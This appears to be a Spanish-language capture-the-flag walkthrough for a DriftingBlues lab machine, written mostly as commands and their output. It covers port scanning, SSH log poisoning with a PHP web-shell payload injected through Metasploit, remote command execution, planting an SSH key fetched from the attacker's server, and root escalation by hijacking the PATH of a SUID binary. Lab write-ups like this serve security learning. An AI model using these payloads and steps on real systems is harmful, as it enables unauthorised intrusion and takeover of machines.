Enumeramos puertos:
❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.17
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.17
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-24 22:36 -04
Nmap scan report for 192.168.1.17
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_/eventadmins
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelEl robots.txt y una página nos llevan por una cadena de pistas en base64:
❯ curl http://192.168.1.17/eventadmins/
...
<p>also check /littlequeenofspades.html</p>
...
❯ curl http://192.168.1.17/littlequeenofspades.html
...
<p style="color:white">aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ==</p>
...
❯ echo "aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ==" | base64 -d
intruder? L2FkbWluc2ZpeGl0LnBocA==
❯ echo "L2FkbWluc2ZpeGl0LnBocA==" | base64 -d
/adminsfixit.php/adminsfixit.php muestra los logs de SSH y sugiere un log poisoning. El cliente SSH moderno rechaza usernames con caracteres inválidos, así que inyectamos el payload PHP como nombre de usuario vía el módulo ssh_login de Metasploit:
❯ ssh '<?php system($_GET["cmd"]); ?>'@192.168.1.17
remote username contains invalid charactersmsf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set username <?php system($_GET['cmd']); ?>
msf6 auxiliary(scanner/ssh/ssh_login) > set password 1234
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.1.17
msf6 auxiliary(scanner/ssh/ssh_login) > runCon el log envenenado, ya tenemos RCE en http://192.168.1.17/adminsfixit.php?cmd=whoami. Lanzamos una reverse shell apuntando a cmd=bash -c "..." y obtenemos shell como www-data. El home de robertj tiene un .ssh escribible, así que plantamos nuestro authorized_keys:
www-data@driftingblues:/home/robertj$ ls -la
...
drwx---rwx 2 robertj robertj 4096 Jan 4 2021 .ssh
...
❯ ssh-keygen -t rsa
...
❯ cp ~/.ssh/id_rsa.pub ./authorized_keys
❯ python3 -m http.server
www-data@driftingblues:/home/robertj/.ssh$ wget http://192.168.1.5:8000/authorized_keys
❯ ssh robertj@192.168.1.17 -i id_rsa
Enter passphrase for key 'id_rsa': 1234
robertj@driftingblues:~$Obtenemos la primera flag. Buscamos binarios SUID:
robertj@driftingblues:~$ find / -perm -4000 2>/dev/null
...
/usr/bin/getinfo
...getinfo invoca comandos (como cat) sin ruta absoluta, así que hacemos PATH Hijacking: creamos un cat malicioso y anteponemos /tmp al PATH:
robertj@driftingblues:/tmp$ tail cat
#!/bin/bash
chmod u+s /bin/bash
robertj@driftingblues:/tmp$ export PATH=/tmp:$PATH
robertj@driftingblues:/tmp$ /usr/bin/getinfo
robertj@driftingblues:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 17 2019 /bin/bash
robertj@driftingblues:/tmp$ bash -p
bash-5.0# whoami
rootObtenemos nuestra flag.
Fin.